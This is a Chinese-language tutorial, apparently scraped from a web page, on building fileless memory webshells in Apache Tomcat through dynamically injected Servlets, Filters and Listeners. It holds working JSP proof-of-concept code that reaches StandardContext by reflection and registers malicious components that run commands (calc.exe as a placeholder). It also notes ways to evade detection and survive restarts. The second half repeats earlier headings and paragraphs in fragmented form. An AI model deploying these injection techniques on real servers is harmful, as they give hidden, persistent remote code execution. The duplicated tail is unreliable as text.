传统Web内存马构造思路与思考 - 教学文档<\/h1>

一、前言<\/h2>
内存马是一种无文件落地的Webshell技术，可以让攻击者在没有文件的情况下注入恶意代码，从而增强隐蔽性。本文深入分析传统Web内存马的构造思路，涵盖Servlet、Filter和Listener三种类型的内存马实现原理。<\/p>

二、环境搭建<\/h2>

基础环境要求<\/h3>

Java 8+<\/li>
Tomcat 9.0.111+<\/li>

Maven项目管理<\/li> <\/ul>

项目配置<\/h3>

创建JavaEE 8项目，确保依赖项包含Servlet<\/li>

在pom.xml中添加tomcat-catalina依赖：<\/li> <\/ol>

<dependency><\/span>
<\/span><\/span>    <groupId><\/span>org.apache.tomcat<\/groupId><\/span>
<\/span><\/span>    <artifactId><\/span>tomcat-catalina<\/artifactId><\/span>
<\/span><\/span>    <version><\/span>9.0.111<\/version><\/span>
<\/span><\/span><\/dependency><\/span>
<\/span><\/span><\/code><\/pre>
创建用于实验的Servlet、Filter、Listener组件<\/li>
<\/ol>
三、Web应用内存马基础原理<\/h2>
JavaWeb请求处理流程<\/h3>
在收到请求后，Web容器中的处理顺序为：

Listener → Filter → Servlet → Filter → Listener<\/code><\/p>
内存马注入原理<\/h3>
向Tomcat容器中的Listener、Filter、Servlet注入恶意代码，实现在收到特定请求时执行恶意操作。<\/p>
传统内存马局限性<\/h3>
传统方法需要先上传JSP文件，该文件动态向Tomcat容器注册恶意组件，虽然最终实现无文件落地，但初始上传的文件仍然会落地。<\/p>
四、注册流程分析<\/h2>
ContextConfig类分析<\/h3>
ContextConfig是Web应用配置解析器，负责整个Web应用的配置加载和初始化工作。<\/p>
关键分析步骤<\/h4>

web.xml解析<\/strong>：ContextConfig解析web.xml文件中的配置信息<\/li>
配置信息存储<\/strong>：解析后的Servlet、Filter、Listener信息存储在webXml对象中<\/li>
配置初始化<\/strong>：通过configureContext方法进行配置信息初始化<\/li>
组件注册<\/strong>：分别注册Servlet、Filter、Listener到容器中<\/li>
<\/ol>
五、StandardContext对象获取<\/h2>
StandardContext作用<\/h3>
StandardContext是Context体系中较底层的实现，负责：<\/p>

Servlet生命周期管理<\/li>
Filter链管理<\/li>
Listener管理<\/li>
<\/ul>
获取方法<\/h3>
通过HttpServletRequest获取StandardContext对象：<\/p>
<%
\/\/ 获取ServletContext对象
ServletContext servletContext = request.getServletContext();

\/\/ 通过反射获取ApplicationContext字段
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);

\/\/ 通过字段获取ApplicationContext对象
Object applicationContext = applicationContextField.get(servletContext);

\/\/ 通过反射获取StandardContext字段
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);

\/\/ 通过字段获取StandardContext对象
StandardContext standardContext = (StandardContext)standardContextField.get(applicationContext);
%>
<\/code><\/pre>
六、三种内存马技术详解<\/h2>
6.1 组件加载机制差异<\/h3>
Servlet<\/h4>

加载机制<\/strong>：懒加载，只有在对应路由被访问时才创建实例<\/li>
内存马重点<\/strong>：修改实例化所需的数据<\/li>
<\/ul>
Filter<\/h4>

加载机制<\/strong>：Web启动时立即实例化所有Filter，构建完整过滤链<\/li>
内存马重点<\/strong>：需要自己实例化并关注运行逻辑<\/li>
<\/ul>
Listener<\/h4>

加载机制<\/strong>：Web启动时立即实例化，事件驱动<\/li>
内存马重点<\/strong>：实例化并将Listener注入列表<\/li>
<\/ul>
6.2 Servlet内存马<\/h3>
原理分析<\/h4>
ContextConfig中的Servlet注册流程：<\/p>
for<\/span>(<\/span>ServletDef servlet :<\/span> webxml.<\/span>getServlets<\/span>().<\/span>values<\/span>())<\/span> {<\/span>
<\/span><\/span>    Wrapper wrapper =<\/span> this<\/span>.<\/span>context<\/span>.<\/span>createWrapper<\/span>();<\/span>
<\/span><\/span>    \/\/ 设置各种属性...
<\/span><\/span><\/span><\/span>    wrapper.<\/span>setServletClass<\/span>(<\/span>servlet.<\/span>getServletClass<\/span>());<\/span>
<\/span><\/span>    \/\/ 添加映射...
<\/span><\/span><\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>恶意Servlet类<\/h4>
<%!
public class EvilServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) 
            throws ServletException, IOException {
        Runtime.getRuntime().exec("calc.exe");
    }
}
%>
<\/code><\/pre>
Wrapper构造<\/h4>
<%
\/\/ 将恶意类EvilServlet封装到Wrapper对象中
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("EvilServlet");
wrapper.setServletClass(EvilServlet.class.getName());
wrapper.setServlet(new EvilServlet());

standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("\/EvilServlet", "EvilServlet");
System.out.println("Servlet注入成功");
%>
<\/code><\/pre>
完整POC<\/h4>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.http.*" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>

<%!
public class EvilServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) 
            throws ServletException, IOException {
        Runtime.getRuntime().exec("calc.exe");
    }
}
%>

<%
\/\/ StandardContext获取代码（同上）
\/\/ Wrapper构造代码（同上）
%>
<\/code><\/pre>
6.3 Filter内存马<\/h3>
调用逻辑分析<\/h4>

ApplicationFilterChain<\/strong>：负责Filter的链式调用<\/li>
internalDoFilter方法<\/strong>：核心调用逻辑，通过filters数组管理Filter实例<\/li>
FilterConfig管理<\/strong>：通过findFilterConfig方法获取filterConfig<\/li>
<\/ol>
关键构造要素<\/h4>
FilterDef构造<\/h5>
<%
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("EvilFilter");
filterDef.setFilterClass("EvilFilter");

standardContext.addFilterDef(filterDef);
standardContext.filterStart();
%>
<\/code><\/pre>
FilterMap构造<\/h5>
<%
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("\/*");
filterMap.setFilterName("EvilFilter");
standardContext.addFilterMap(filterMap);
\/\/ standardContext.addFilterMapBefore(filterMap); \/\/ 也可以使用此方法
%>
<\/code><\/pre>
恶意Filter类<\/h5>
<%!
public class EvilFilter extends HttpFilter {
    @Override
    protected void doFilter(HttpServletRequest request, HttpServletResponse response, 
            FilterChain chain) throws IOException, ServletException {
        Runtime.getRuntime().exec("calc.exe");
        chain.doFilter(request, response);
    }
}
%>
<\/code><\/pre>
Filter入口方法<\/h4>

filterStart()<\/strong>：Filter初始化入口方法，重新初始化filterConfigs<\/li>
startInternal()<\/strong>：Web创建时Filter初始化的底层方法<\/li>
<\/ul>
完整POC<\/h4>
<%@ page import="java.lang.reflect.*" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>

<%!
public class EvilFilter extends HttpFilter {
    @Override
    protected void doFilter(HttpServletRequest request, HttpServletResponse response, 
            FilterChain chain) throws IOException, ServletException {
        Runtime.getRuntime().exec("calc.exe");
        chain.doFilter(request, response);
    }
}
%>

<%
\/\/ StandardContext获取代码
\/\/ FilterDef和FilterMap构造代码
\/\/ 创建恶意Filter实例
EvilFilter evilFilter = new EvilFilter();
%>
<\/code><\/pre>
6.4 Listener内存马<\/h3>
Listener类型<\/h4>

ServletRequestListener<\/strong>：请求创建和销毁时触发（最适合内存马）<\/li>
ServletRequestAttributeListener<\/strong>：属性变更时触发<\/li>
HttpSessionListener<\/strong>：Session创建和失效时触发<\/li>
<\/ol>
原理分析<\/h4>

事件分发机制<\/strong>：StandardContext.fireRequestInitEvent()方法遍历Listener列表<\/li>
实例化列表<\/strong>：通过getApplicationEventListeners()获取applicationEventListenersList<\/li>
动态调用<\/strong>：每次请求时遍历Listener实例并调用相应方法<\/li>
<\/ol>
恶意Listener类<\/h4>
<%!
public static class EvilListener implements ServletRequestListener {
    public void requestInitialized(ServletRequestEvent sre) {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
    public void requestDestroyed(ServletRequestEvent sre) {
        \/\/ 可选的销毁处理
    }
}
%>
<\/code><\/pre>
内存马注入<\/h4>
<%
EvilListener evilListener = new EvilListener();
standardContext.addApplicationEventListener(evilListener);
%>
<\/code><\/pre>
完整POC<\/h4>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>

<%!
public static class EvilListener implements ServletRequestListener {
    public void requestInitialized(ServletRequestEvent sre) {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}
%>

<%
\/\/ StandardContext获取代码
EvilListener evilListener = new EvilListener();
standardContext.addApplicationEventListener(evilListener);
%>
<\/code><\/pre>
七、关键技术要点总结<\/h2>
7.1 核心原理<\/h3>

StandardContext获取<\/strong>：通过反射链从HttpServletRequest获取StandardContext实例<\/li>
组件生命周期<\/strong>：理解不同组件的加载时机和调用机制<\/li>
容器内部结构<\/strong>：掌握Tomcat内部的数据结构和管理机制<\/li>
<\/ol>
7.2 技术差异<\/h3>

Servlet<\/strong>：重点关注Wrapper构造和URL映射<\/li>
Filter<\/strong>：需要处理FilterDef、FilterMap和FilterConfig的完整链<\/li>
Listener<\/strong>：直接操作applicationEventListenersList<\/li>
<\/ul>
7.3 防御规避<\/h3>

隐蔽性<\/strong>：传统内存马仍需初始文件上传，存在被检测风险<\/li>
持久化<\/strong>：需要考虑内存马在容器重启后的存活问题<\/li>
检测规避<\/strong>：需要对抗各种内存马检测工具和技术<\/li>
<\/ol>
八、进阶思考方向<\/h2>

无文件落地的完全内存马<\/strong>：探索不依赖任何文件上传的内存马技术<\/li>
持久化机制<\/strong>：研究内存马在容器重启后的自动恢复技术<\/li>
检测与对抗<\/strong>：分析现有检测手段并研究相应的规避技术<\/li>
其他容器适配<\/strong>：将技术扩展到Jetty、WebLogic等其他Java容器<\/li>
<\/ol>
本教学文档详细分析了传统Web内存马的构造思路和实现技术，为深入理解内存马原理和防御技术提供了坚实基础。<\/p>

传统Web内存马构造思路与思考 - 教学文档<\/h1>

一、前言<\/h2> 内存马是一种无文件落地的Webshell技术，可以让攻击者在没有文件的情况下注入恶意代码，从而增强隐蔽性。本文深入分析传统Web内存马的构造思路，涵盖Servlet、Filter和Listener三种类型的内存马实现原理。<\/p>

二、环境搭建<\/h2>

三、Web应用内存马基础原理<\/h2>

JavaWeb请求处理流程<\/h3> 在收到请求后，Web容器中的处理顺序为： Listener → Filter → Servlet → Filter → Listener<\/code><\/p>

传统内存马局限性<\/h3> 传统方法需要先上传JSP文件，该文件动态向Tomcat容器注册恶意组件，虽然最终实现无文件落地，但初始上传的文件仍然会落地。<\/p>

四、注册流程分析<\/h2>

ContextConfig类分析<\/h3> ContextConfig是Web应用配置解析器，负责整个Web应用的配置加载和初始化工作。<\/p>

五、StandardContext对象获取<\/h2>

六、三种内存马技术详解<\/h2>

6.1 组件加载机制差异<\/h3>

6.2 Servlet内存马<\/h3>

6.3 Filter内存马<\/h3>

关键构造要素<\/h4>

6.4 Listener内存马<\/h3>

七、关键技术要点总结<\/h2>

一、前言<\/h2>
内存马是一种无文件落地的Webshell技术，可以让攻击者在没有文件的情况下注入恶意代码，从而增强隐蔽性。本文深入分析传统Web内存马的构造思路，涵盖Servlet、Filter和Listener三种类型的内存马实现原理。<\/p>

JavaWeb请求处理流程<\/h3>
在收到请求后，Web容器中的处理顺序为：
`Listener → Filter → Servlet → Filter → Listener<\/code><\/p>`

传统内存马局限性<\/h3>
传统方法需要先上传JSP文件，该文件动态向Tomcat容器注册恶意组件，虽然最终实现无文件落地，但初始上传的文件仍然会落地。<\/p>

ContextConfig类分析<\/h3>
ContextConfig是Web应用配置解析器，负责整个Web应用的配置加载和初始化工作。<\/p>